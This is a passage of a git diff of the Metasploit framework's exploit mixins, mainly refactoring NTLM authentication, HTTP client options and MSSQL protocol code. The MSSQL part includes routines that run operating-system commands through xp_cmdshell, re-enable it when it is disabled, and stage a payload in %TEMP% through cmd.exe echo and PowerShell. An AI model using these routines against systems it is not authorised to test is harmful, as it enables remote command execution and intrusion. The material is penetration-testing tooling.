opts [Hash] Hash of configuration options. - def execute_command(cmd, opts) + def execute_command(cmd, opts = {}) raise NotImplementedError end diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index ede4bb806c..35de81cc49 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -96,7 +96,7 @@ module Exploit::Remote::Ftp # This method handles disconnecting our data channel # def data_disconnect - self.datasocket.shutdown + self.datasocket.shutdown if self.datasocket self.datasocket = nil end diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 41dea0f789..df6b2c91ee 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -56,7 +56,7 @@ module Exploit::Remote::FtpServer # exists for the given command, returns a generic default response. # # @example Handle SYST requests - # class Metasploit4 < Msf::Exploit + # class MetasploitModule < Msf::Exploit # include Msf::Exploit::Remote::FtpServer # ... # def on_client_command_syst(cmd_conn, arg) @@ -237,4 +237,3 @@ module Exploit::Remote::FtpServer end end - diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 4bf9ca91c4..fc33f635cf 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -1,10 +1,7 @@ # -*- coding: binary -*- + require 'uri' require 'digest' -require 'rex/proto/ntlm/crypt' -require 'rex/proto/ntlm/constants' -require 'rex/proto/ntlm/utils' -require 'rex/proto/ntlm/exceptions' module Msf ### @@ -15,15 +12,6 @@ module Msf ### module Exploit::Remote::HttpClient include Msf::Auxiliary::Report - include Exploit::Remote::NTLM::Client - - # - # Constants - # - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_UTILS = Rex::Proto::NTLM::Utils - NTLM_XCEPT = Rex::Proto::NTLM::Exceptions # # Initializes an exploit module that exploits a vulnerability in an HTTP @@ -47,13 +35,14 @@ module Exploit::Remote::HttpClient OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', Rex::Proto::Http::Client::DefaultUserAgent ]), - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), + Opt::SSLVersion, OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']), - OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']) + OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']), + OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]) ], self.class ) @@ -85,7 +74,7 @@ module Exploit::Remote::HttpClient # # Remaining evasions to implement # -# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']), +# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', false]), # OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]), ], self.class ) @@ -148,8 +137,8 @@ module Exploit::Remote::HttpClient dossl = ssl end - client_username = opts['username'] || datastore['USERNAME'] || '' - client_password = opts['password'] || datastore['PASSWORD'] || '' + client_username = opts['username'] || datastore['HttpUsername'] || '' + client_password = opts['password'] || datastore['HttpPassword'] || '' nclient = Rex::Proto::Http::Client.new( opts['rhost'] || rhost, @@ -192,12 +181,6 @@ module Exploit::Remote::HttpClient 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], - 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], - 'send_lm' => datastore['NTLM::SendLM'], - 'send_ntlm' => datastore['NTLM::SendNTLM'], - 'SendSPN' => datastore['NTLM::SendSPN'], - 'UseLMKey' => datastore['NTLM::UseLMKey'], 'domain' => datastore['DOMAIN'], 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) @@ -208,10 +191,10 @@ module Exploit::Remote::HttpClient if (self.client) disconnect end - - self.client = nclient end + self.client = nclient + return nclient end @@ -254,12 +237,6 @@ module Exploit::Remote::HttpClient evade_uri_fake_end: datastore['HTTP::uri_fake_end'], evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'], evade_header_folding: datastore['HTTP::header_folding'], - ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'], - ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'], - ntlm_send_lm: datastore['NTLM::SendLM'], - ntlm_send_ntlm: datastore['NTLM::SendNTLM'], - ntlm_send_spn: datastore['NTLM::SendSPN'], - ntlm_use_lm_key: datastore['NTLM::UseLMKey'], ntlm_domain: datastore['DOMAIN'], digest_auth_iis: datastore['DigestAuthIIS'] }.merge(conf) @@ -295,6 +272,10 @@ module Exploit::Remote::HttpClient end if (nclient == self.client) + if self.client.respond_to?(:close) + self.client.close + end + self.client = nil end end @@ -323,9 +304,30 @@ module Exploit::Remote::HttpClient begin c = connect(opts) r = c.request_raw(opts) - c.send_recv(r, actual_timeout) - rescue ::Errno::EPIPE, ::Timeout::Error + + if datastore['HttpTrace'] + print_line('#' * 20) + print_line('# Request:') + print_line('#' * 20) + print_line(r.to_s) + end + + res = c.send_recv(r, actual_timeout) + + if datastore['HttpTrace'] + print_line('#' * 20) + print_line('# Response:') + print_line('#' * 20) + print_line(res.to_s) + end + + res + rescue ::Errno::EPIPE, ::Timeout::Error => e + print_line(e.message) if datastore['HttpTrace'] nil + rescue ::Exception => e + print_line(e.message) if datastore['HttpTrace'] + raise e end end @@ -333,8 +335,9 @@ module Exploit::Remote::HttpClient # Connects to the server, creates a request, sends the request, # reads the response # - # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. + # Passes `opts` through directly to {Rex::Proto::Http::Client#request_cgi}. # + # @return (see Rex::Proto::Http::Client#send_recv)) def send_request_cgi(opts={}, timeout = 20) if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 actual_timeout = datastore['HttpClientTimeout'] @@ -342,23 +345,46 @@ module Exploit::Remote::HttpClient actual_timeout = opts[:timeout] || timeout end + print_line("*" * 20) if datastore['HttpTrace'] + begin c = connect(opts) r = c.request_cgi(opts) - c.send_recv(r, actual_timeout) - rescue ::Errno::EPIPE, ::Timeout::Error + + if datastore['HttpTrace'] + print_line('#' * 20) + print_line('# Request:') + print_line('#' * 20) + print_line(r.to_s) + end + + res = c.send_recv(r, actual_timeout) + + if datastore['HttpTrace'] + print_line('#' * 20) + print_line('# Response:') + print_line('#' * 20) + print_line(res.to_s) + end + + res + rescue ::Errno::EPIPE, ::Timeout::Error => e + print_line(e.message) if datastore['HttpTrace'] nil + rescue ::Exception => e + print_line(e.message) if datastore['HttpTrace'] + raise e end end + # Connects to the server, creates a request, sends the request, reads the + # response if a redirect (HTTP 30x response) is received it will attempt to + # follow the direct and retrieve that URI. # - # Connects to the server, creates a request, sends the request, reads the response - # if a redirect (HTTP 30x response) is received it will attempt to follow the - # direct and retrieve that URI. - # - # @note The +opts+ will be updated to the updated location and +opts['redirect_uri']+ - # will contain the full URI. + # @note `opts` will be updated to the updated location and + # `opts['redirect_uri']` will contain the full URI. # + # @return (see #send_request_cgi) def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 actual_timeout = datastore['HttpClientTimeout'] @@ -370,24 +396,47 @@ module Exploit::Remote::HttpClient return res unless res && res.redirect? && redirect_depth > 0 redirect_depth -= 1 - location = res.redirection - return res if location.nil? - - opts['redirect_uri'] = location - opts['uri'] = location.path - opts['rhost'] = location.host - opts['vhost'] = location.host - opts['rport'] = location.port - - if location.scheme == 'https' - opts['ssl'] = true - else - opts['ssl'] = false - end + return res if res.redirection.nil? + reconfig_redirect_opts!(res, opts) send_request_cgi!(opts, actual_timeout, redirect_depth) end + + # Modifies the HTTP request options for a redirection. + # + # @param res [Rex::Proto::HTTP::Response] HTTP Response. + # @param opts [Hash] The HTTP request options to modify. + # @return [void] + def reconfig_redirect_opts!(res, opts) + location = res.redirection + + if location.relative? + parent_path = File.dirname(opts['uri'].to_s) + parent_path = '/' if parent_path == '.' + new_redirect_uri = normalize_uri(parent_path, location.path.gsub(/^\./, '')) + opts['redirect_uri'] = new_redirect_uri + opts['uri'] = new_redirect_uri + opts['rhost'] = datastore['RHOST'] + opts['vhost'] = opts['vhost'] || opts['rhost'] || self.vhost() + opts['rport'] = datastore['RPORT'] + + opts['ssl'] = ssl + else + opts['redirect_uri'] = location + opts['uri'] = location.path + opts['rhost'] = location.host + opts['vhost'] = location.host + opts['rport'] = location.port + + if location.scheme == 'https' + opts['ssl'] = true + else + opts['ssl'] = false + end + end + end + # # Combine the user/pass into an auth string for the HTTP Client # @@ -679,7 +728,7 @@ module Exploit::Remote::HttpClient # Create a new fingerprint structure to track this response fprint = { - :uri => uri, :method => method, + :uri => uri, :method => method, :server_port => rport, :code => res.code.to_s, :message => res.message.to_s, :signature => info } diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 6a101b9316..8360cb47e1 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -32,9 +32,9 @@ module Exploit::Remote::HttpServer register_evasion_options( [ - OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']), - OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']), - OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']), + OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', false]), + OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]), + OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', false]), OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]), OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache']) ], Exploit::Remote::HttpServer @@ -73,7 +73,8 @@ module Exploit::Remote::HttpServer end def print_prefix - if cli && (respond_to?(:aggressive) && !aggressive?) + if cli && self.respond_to?(:stance) && + !(stance == Msf::Exploit::Stance::Aggressive || stance.include?(Msf::Exploit::Stance::Aggressive)) super + "#{cli.peerhost.ljust(16)} #{self.shortname} - " else super @@ -86,7 +87,7 @@ module Exploit::Remote::HttpServer # set. # def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + if !Rex::Text.zlib_present? && datastore['HTTP::compression'] raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" end end @@ -144,7 +145,8 @@ module Exploit::Remote::HttpServer }, opts['Comm'], datastore['SSLCert'], - datastore['SSLCompression'] + datastore['SSLCompression'], + datastore['SSLCipher'] ) self.service.server_name = datastore['HTTP::server_name'] @@ -424,7 +426,7 @@ module Exploit::Remote::HttpServer host = "[#{host}]" end - if datastore['URIPORT'] != 0 + if datastore['URIPORT'] && datastore['URIPORT'] != 0 port = ':' + datastore['URIPORT'].to_s elsif (ssl and datastore["SRVPORT"] == 443) port = '' @@ -530,16 +532,16 @@ module Exploit::Remote::HttpServer response.compress = datastore['HTTP::compression'] end - if (datastore['HTTP::chunked'] == true) + if datastore['HTTP::chunked'] response.auto_cl = false response.transfer_chunked = true end - if (datastore['HTTP::header_folding'] == true) + if datastore['HTTP::header_folding'] response.headers.fold = 1 end - if (datastore['HTTP::junk_headers'] == true) + if datastore['HTTP::junk_headers'] response.headers.junk_headers = 1 end diff --git a/lib/msf/core/exploit/http/wordpress/uris.rb b/lib/msf/core/exploit/http/wordpress/uris.rb index b3a0685e67..73fbbc77b8 100644 --- a/lib/msf/core/exploit/http/wordpress/uris.rb +++ b/lib/msf/core/exploit/http/wordpress/uris.rb @@ -115,6 +115,13 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs normalize_uri(wordpress_url_wp_content, 'themes') end + # Returns the Wordpress uploads dir URL + # + # @return [String] Wordpress uploads dir URL + def wordpress_url_uploads + normalize_uri(wordpress_url_wp_content, 'uploads') + end + # Returns the Wordpress XMLRPC URL # # @return [String] Wordpress XMLRPC URL diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb index 1cdd47a674..72c1bd15a8 100644 --- a/lib/msf/core/exploit/java.rb +++ b/lib/msf/core/exploit/java.rb @@ -47,7 +47,7 @@ module Exploit::Java end toolsjar = File.join(ENV['JAVA_HOME'], "lib", "tools.jar") - if (not File.exists? toolsjar) + if (not File.exist? toolsjar) raise RuntimeError, 'JAVA_HOME does not point to a valid JDK installation.' end @@ -69,7 +69,7 @@ module Exploit::Java def save_to_file(classnames, codez, location) path = File.join( Msf::Config.install_root, "external", "source", location ) - if not File.exists? path + if not File.exist? path Dir.mkdir(path) end @@ -96,7 +96,7 @@ module Exploit::Java compile_options = [] if compile_options.nil? # Create the directory if it doesn't exist - Dir.mkdir(datastore['JavaCache']) if !File.exists? datastore['JavaCache'] + Dir.mkdir(datastore['JavaCache']) if !File.exist? datastore['JavaCache'] # For compatibility, some exploits need to have the target and source version # set to a previous JRE version. @@ -157,7 +157,7 @@ module Exploit::Java # Check if the keystore exists from previous run. If it does, delete it. msf_keystore = File.join(datastore['JavaCache'], msf_keystore) - File.delete msf_keystore if File.exists? msf_keystore + File.delete msf_keystore if File.exist? msf_keystore # Rjb pukes on a CN with a comma in it so bad that it crashes to shell # and turns input echoing off. Simple fix for this ugly bug is diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 21808beede..97cf6c5fa1 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -42,6 +42,7 @@ require 'msf/core/exploit/ftpserver' require 'msf/core/exploit/http/client' require 'msf/core/exploit/http/server' require 'msf/core/exploit/smtp' +require 'msf/core/exploit/ssh' require 'msf/core/exploit/sunrpc' require 'msf/core/exploit/mssql' require 'msf/core/exploit/mssql_commands' @@ -119,3 +120,6 @@ require 'msf/core/exploit/kerberos/client' # Fortinet require 'msf/core/exploit/fortinet' + +# Other +require 'msf/core/exploit/windows_constants' diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 77eacf5b4e..6a5b5d0e7c 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -1,11 +1,6 @@ # -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/mssql_commands' -require 'rex/proto/ntlm/crypt' -require 'rex/proto/ntlm/constants' -require 'rex/proto/ntlm/utils' -require 'rex/proto/ntlm/exceptions' - module Msf @@ -21,41 +16,32 @@ module Exploit::Remote::MSSQL include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client - # - # Constants - # - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_UTILS = Rex::Proto::NTLM::Utils - NTLM_XCEPT = Rex::Proto::NTLM::Exceptions - # Encryption ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_ON = 0x01 #Encryption is available and on. ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. ENCRYPT_REQ = 0x03 #Encryption is required. - # Paquet Type - TYPE_SQL_BATCH = 1 # (Client) SQL command - TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) - TYPE_RPC = 3 # (Client) RPC - TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, - # Request Completion, Error and Info Messages, Attention Acknowledgement - TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention - TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + # Packet Type + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager - TYPE_TDS7_LOGIN = 16 # (Client) Login - TYPE_SSPI_MESSAGE = 17 # (Client) Login - TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 # Status - STATUS_NORMAL = 0x00 - STATUS_END_OF_MESSAGE = 0x01 - STATUS_IGNORE_EVENT = 0x02 - STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ - # # Creates an instance of a MSSQL exploit module. # @@ -100,16 +86,13 @@ module Exploit::Remote::MSSQL 'MsfExploit' => self, }) - ping_sock.put("\x02") - resp, saddr, sport = ping_sock.recvfrom(65535, timeout) + resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout) ping_sock.close return data if not resp return data if resp.length == 0 - var = nil - return mssql_ping_parse(resp) end @@ -145,15 +128,15 @@ module Exploit::Remote::MSSQL # # Execute a system command via xp_cmdshell # - def mssql_xpcmdshell(cmd,doprint=false,opts={}) + def mssql_xpcmdshell(cmd, doprint=false, opts={}) force_enable = false begin res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) - if(res[:errors] and not res[:errors].empty?) - if(res[:errors].join =~ /xp_cmdshell/) - if(force_enable) + if res[:errors] && !res[:errors].empty? + if res[:errors].join =~ /xp_cmdshell/ + if force_enable print_error("The xp_cmdshell procedure is not available and could not be enabled") - raise RuntimeError, "Failed to execute command" + raise RuntimeError, "Failed to execute command" else print_status("The server may have xp_cmdshell disabled, trying to enable it...") mssql_query(mssql_xpcmdshell_enable()) @@ -167,7 +150,7 @@ module Exploit::Remote::MSSQL return res rescue RuntimeError => e - if(e.to_s =~ /xp_cmdshell disabled/) + if e.to_s =~ /xp_cmdshell disabled/ force_enable = true retry end @@ -200,7 +183,7 @@ module Exploit::Remote::MSSQL idx = 0 cnt = 500 while(idx < hex.length - 1) - mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) + mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end @@ -234,7 +217,7 @@ module Exploit::Remote::MSSQL idx = 0 cnt = 500 while(idx < hex.length - 1) - mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) + mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end print_status("Converting the payload utilizing PowerShell EncodedCommand...") @@ -260,17 +243,17 @@ module Exploit::Remote::MSSQL while(not done) head = sock.get_once(8, timeout) - if !(head and head.length == 8) + if !(head && head.length == 8) return false end # Is this the last buffer? - if(head[1,1] == "\x01" or not check_status ) + if(head[1, 1] == "\x01" or not check_status ) done = true end # Grab this block's length - rlen = head[2,2].unpack('n')[0] - 8 + rlen = head[2, 2].unpack('n')[0] - 8 while(rlen > 0) buff = sock.get_once(rlen, timeout) @@ -302,77 +285,77 @@ module Exploit::Remote::MSSQL pkt_data = "" - pkt_hdr = [ - TYPE_PRE_LOGIN_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x00, # PacketID - 0x00 #Window - ] + pkt_hdr = [ + TYPE_PRE_LOGIN_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x00, # PacketID + 0x00 #Window + ] - version = [0x55010008,0x0000].pack("Vv") - encryption = ENCRYPT_NOT_SUP # off - instoptdata = "MSSQLServer\0" + version = [0x55010008, 0x0000].pack("Vv") + encryption = ENCRYPT_NOT_SUP # off + instoptdata = "MSSQLServer\0" - threadid = "\0\0" + Rex::Text.rand_text(2) + threadid = "\0\0" + Rex::Text.rand_text(2) - idx = 21 # size of pkt_data_token - pkt_data_token << [ - 0x00, # Token 0 type Version - idx , # VersionOffset - version.length, # VersionLength + idx = 21 # size of pkt_data_token + pkt_data_token << [ + 0x00, # Token 0 type Version + idx, # VersionOffset + version.length, # VersionLength - 0x01, # Token 1 type Encryption - idx = idx + version.length, # EncryptionOffset - 0x01, # EncryptionLength + 0x01, # Token 1 type Encryption + idx = idx + version.length, # EncryptionOffset + 0x01, # EncryptionLength - 0x02, # Token 2 type InstOpt - idx = idx + 1, # InstOptOffset - instoptdata.length, # InstOptLength + 0x02, # Token 2 type InstOpt + idx = idx + 1, # InstOptOffset + instoptdata.length, # InstOptLength - 0x03, # Token 3 type Threadid - idx + instoptdata.length, # ThreadIdOffset - 0x04, # ThreadIdLength + 0x03, # Token 3 type Threadid + idx + instoptdata.length, # ThreadIdOffset + 0x04, # ThreadIdLength - 0xFF - ].pack("CnnCnnCnnCnnC") + 0xFF + ].pack("CnnCnnCnnCnnC") - pkt_data << pkt_data_token - pkt_data << version - pkt_data << encryption - pkt_data << instoptdata - pkt_data << threadid + pkt_data << pkt_data_token + pkt_data << version + pkt_data << encryption + pkt_data << instoptdata + pkt_data << threadid - pkt_hdr[2] = pkt_data.length + 8 + pkt_hdr[2] = pkt_data.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + pkt_data + pkt = pkt_hdr.pack("CCnnCC") + pkt_data - resp = mssql_send_recv(pkt) + resp = mssql_send_recv(pkt) - idx = 0 + idx = 0 - while resp and resp[0,1] != "\xff" and resp.length > 5 - token = resp.slice!(0,5) - token = token.unpack("Cnn") - idx -= 5 - if token[0] == 0x01 - - idx += token[1] - break - end - end - if idx > 0 - encryption_mode = resp[idx,1].unpack("C")[0] - else - #force to ENCRYPT_NOT_SUP and hope for the best - encryption_mode = ENCRYPT_NOT_SUP + while resp && resp[0, 1] != "\xff" && resp.length > 5 + token = resp.slice!(0, 5) + token = token.unpack("Cnn") + idx -= 5 + if token[0] == 0x01 + idx += token[1] + break end + end - if encryption_mode != ENCRYPT_NOT_SUP and enc_error - raise RuntimeError,"Encryption is not supported" - end - encryption_mode + if idx > 0 + encryption_mode = resp[idx, 1].unpack("C")[0] + else + # force to ENCRYPT_NOT_SUP and hope for the best + encryption_mode = ENCRYPT_NOT_SUP + end + + if encryption_mode != ENCRYPT_NOT_SUP && enc_error + raise RuntimeError,"Encryption is not supported" + end + encryption_mode end # @@ -401,14 +384,14 @@ module Exploit::Remote::MSSQL idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ + pkt_hdr = [ TYPE_TDS7_LOGIN, #type STATUS_END_OF_MESSAGE, #status 0x0000, #length 0x0000, # SPID - 0x01, # PacketID (unused upon specification + 0x01, # PacketID (unused upon specification # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) - 0x00 #Window + 0x00 #Window ] pkt << [ @@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL sname = Rex::Text.to_unicode( rhost ) dname = Rex::Text.to_unicode( db ) - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + ntlm_client = ::Net::NTLM::Client.new( + user, + pass, + workstation: workstation_name, + domain: datastore['DOMAIN'], + ) + type1 = ntlm_client.init_context + # SQL 2012, at least, does not support KEY_EXCHANGE + type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] + ntlmsspblob = type1.serialize idx = pkt.size + 50 # lengths below @@ -484,9 +466,9 @@ module Exploit::Remote::MSSQL pkt << ntlmsspblob # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') - pkt_hdr[2] = pkt.length + 8 + pkt_hdr[2] = pkt.length + 8 pkt = pkt_hdr.pack("CCnnCC") + pkt @@ -494,56 +476,36 @@ module Exploit::Remote::MSSQL # has a strange behavior that differs from the specifications # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification - resp = mssql_send_recv(pkt,15, false) + resp = mssql_send_recv(pkt, 15, false) - # Get default data - begin - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) - # a domain.length < 3 will hit this - rescue NTLM_XCEPT::NTLMMissingChallenge + unless resp.include?("NTLMSSP") info = {:errors => []} mssql_parse_reply(resp, info) mssql_print_reply(info) return false end - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + # Get default data + resp = resp[3..-1] + type3 = ntlm_client.init_context([resp].pack('m')) + type3_blob = type3.serialize # Create an SSPIMessage idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ - TYPE_SSPI_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID - 0x00 #Window - ] + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window + ] - pkt_hdr[2] = ntlmssp.length + 8 + pkt_hdr[2] = type3_blob.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + pkt = pkt_hdr.pack("CCnnCC") + type3_blob resp = mssql_send_recv(pkt) @@ -620,7 +582,7 @@ module Exploit::Remote::MSSQL pkt << dname # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 @@ -637,7 +599,7 @@ module Exploit::Remote::MSSQL end info = {:errors => []} - info = mssql_parse_reply(resp,info) + info = mssql_parse_reply(resp, info) return false if not info info[:login_ack] ? true : false @@ -690,19 +652,19 @@ module Exploit::Remote::MSSQL print_status("SQL Query: #{info[:sql]}") - if(info[:done] and info[:done][:rows].to_i > 0) + if info[:done] && info[:done][:rows].to_i > 0 print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") end - if(info[:errors] and not info[:errors].empty?) + if info[:errors] && !info[:errors].empty? info[:errors].each do |err| print_error(err) end end - if(info[:rows] and not info[:rows].empty?) + if info[:rows] && !info[:rows].empty? - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Indent' => 1, 'Header' => "", 'Columns' => info[:colnames], @@ -727,14 +689,14 @@ module Exploit::Remote::MSSQL info[:colnames] ||= [] # Parse out the columns - cols = data.slice!(0,2).unpack('v')[0] + cols = data.slice!(0, 2).unpack('v')[0] 0.upto(cols-1) do |col_idx| col = {} info[:colinfos][col_idx] = col - col[:utype] = data.slice!(0,2).unpack('v')[0] - col[:flags] = data.slice!(0,2).unpack('v')[0] - col[:type] = data.slice!(0,1).unpack('C')[0] + col[:utype] = data.slice!(0, 2).unpack('v')[0] + col[:flags] = data.slice!(0, 2).unpack('v')[0] + col[:type] = data.slice!(0, 1).unpack('C')[0] case col[:type] when 48 @@ -751,8 +713,8 @@ module Exploit::Remote::MSSQL when 34 col[:id] = :image - col[:max_size] = data.slice!(0,4).unpack('V')[0] - col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 4).unpack('V')[0] + col[:value_length] = data.slice!(0, 2).unpack('v')[0] col[:value] = 